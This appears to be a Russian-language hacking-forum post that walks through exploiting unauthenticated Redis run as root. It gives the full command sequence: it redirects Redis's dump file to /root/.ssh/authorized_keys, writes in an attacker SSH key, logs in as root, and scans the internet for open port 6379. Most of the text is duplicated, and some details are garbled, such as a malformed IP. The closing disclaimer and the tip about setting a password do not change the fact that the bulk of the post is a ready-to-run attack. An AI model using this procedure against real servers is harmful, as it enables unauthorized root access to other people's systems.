- Автор темы
- #1
В начале ноября 2015 я не смог зайти по ключу в контейнер на один из своих серверов. Опачки, взломали?
Ну что же, ломимся на главный сервер и оттуда в контейнер. Проверяю файл /root/.ssh/authorized_hosts и вижу ужас!
Мой ключик исчез и вместо этого содержимое файла стало примерно таким:
А кто устанавливает редис от рута? Конечно же я!
Логи сервера мне ничего не говорили о взломе, поэтому оставалось одно, гуглить адрес [email protected]. И оп, как раз 2 дня назад разработчик redis написал новость об этой уязвимости-фиче.
Я не буду писать все подробности, их можно посмотреть у источника http://antirez.com/news/96,я лишь расскажу как это можно(но не нужно!!!) эксплуатировать.
Представим, я купил сервер для теста этой баги и установил на него redis от рута. Допустим, IP моего сервера 192.168.20.20.
Попробуем подключиться удаленно к редису:
PHP:
$>> redis-cli -h 192.168.2020
192.168.2020:6379>
О, нас встречают. Попробуем выполнить команду
PHP:
192.168.2020:6379> config set dir /root/.ssh
OK
(0.68s)
Ух ты, мы смогли поменять папку для хранения базы редиса в /root/ директорию!
Давайте сделаем ключик у себя на машине
PHP:
$>> ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/forum.xeksec.com/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
А теперь создадим наш небольшой exploit.
PHP:
$> cat crack
config set dir /root/.ssh
config set dbfilename authorized_keys
flushall
set c "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]\n\n\n\n"
save
Как вы понимаете, внутри файла находится наш публичный ключ который мы сгенерировали минуту назад (лежит в/home/forum.xeksec.com/.ssh/id_rsa.pub)
Выполним следующую команду:
PHP:
$>> redis-cli -h 192.168.20.20 < crack
OK
OK
OK
OK
OK
Всё замечательно! Мы смогли записать наш ключ в authorized_hosts пользователя root на уязвимом сервере.
Пробуем подключиться снашим ключем:
PHP:
$>> ssh -i /home/forum.xeksec.com/.ssh/id_rsa -oStrictHostKeyChecking=no [email protected]
Last login: Fri Jan 22 10:52:22 2015 from 192.168.1.1
root@xeksec2~>>
Порутали собственный сервер! Чума!
Всё дело в том, что нельзя оставлять открытым порт 6379 и нельзя использовать редис без логина пароля.
Ради интереса я проверил интернет на открытый порт 6379 командой
PHP:
$>> zmap -p6379 -o omg.txt
Открытых портов миллионы!
Статья написана только для того, чтобы вы проверили не уязвим ли ваш сервер!
Ни в коем случае нельзя использовать данную уязимость для неправомерных действий!!!
Ну что же, ломимся на главный сервер и оттуда в контейнер. Проверяю файл /root/.ssh/authorized_hosts и вижу ужас!
Мой ключик исчез и вместо этого содержимое файла стало примерно таким:
PHP:
REDIS0006�crackitA�
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]
���rD �
Логи сервера мне ничего не говорили о взломе, поэтому оставалось одно, гуглить адрес [email protected]. И оп, как раз 2 дня назад разработчик redis написал новость об этой уязвимости-фиче.
Я не буду писать все подробности, их можно посмотреть у источника http://antirez.com/news/96,я лишь расскажу как это можно(но не нужно!!!) эксплуатировать.
Представим, я купил сервер для теста этой баги и установил на него redis от рута. Допустим, IP моего сервера 192.168.20.20.
Попробуем подключиться удаленно к редису:
PHP:
$>> redis-cli -h 192.168.2020
192.168.2020:6379>
О, нас встречают. Попробуем выполнить команду
PHP:
192.168.2020:6379> config set dir /root/.ssh
OK
(0.68s)
Ух ты, мы смогли поменять папку для хранения базы редиса в /root/ директорию!
Давайте сделаем ключик у себя на машине
PHP:
$>> ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/forum.xeksec.com/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
А теперь создадим наш небольшой exploit.
PHP:
$> cat crack
config set dir /root/.ssh
config set dbfilename authorized_keys
flushall
set c "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]\n\n\n\n"
save
Как вы понимаете, внутри файла находится наш публичный ключ который мы сгенерировали минуту назад (лежит в/home/forum.xeksec.com/.ssh/id_rsa.pub)
Выполним следующую команду:
PHP:
$>> redis-cli -h 192.168.20.20 < crack
OK
OK
OK
OK
OK
Всё замечательно! Мы смогли записать наш ключ в authorized_hosts пользователя root на уязвимом сервере.
Пробуем подключиться снашим ключем:
PHP:
$>> ssh -i /home/forum.xeksec.com/.ssh/id_rsa -oStrictHostKeyChecking=no [email protected]
Last login: Fri Jan 22 10:52:22 2015 from 192.168.1.1
root@xeksec2~>>
Порутали собственный сервер! Чума!
Всё дело в том, что нельзя оставлять открытым порт 6379 и нельзя использовать редис без логина пароля.
Ради интереса я проверил интернет на открытый порт 6379 командой
PHP:
$>> zmap -p6379 -o omg.txt
Открытых портов миллионы!
Статья написана только для того, чтобы вы проверили не уязвим ли ваш сервер!
Ни в коем случае нельзя использовать данную уязимость для неправомерных действий!!!
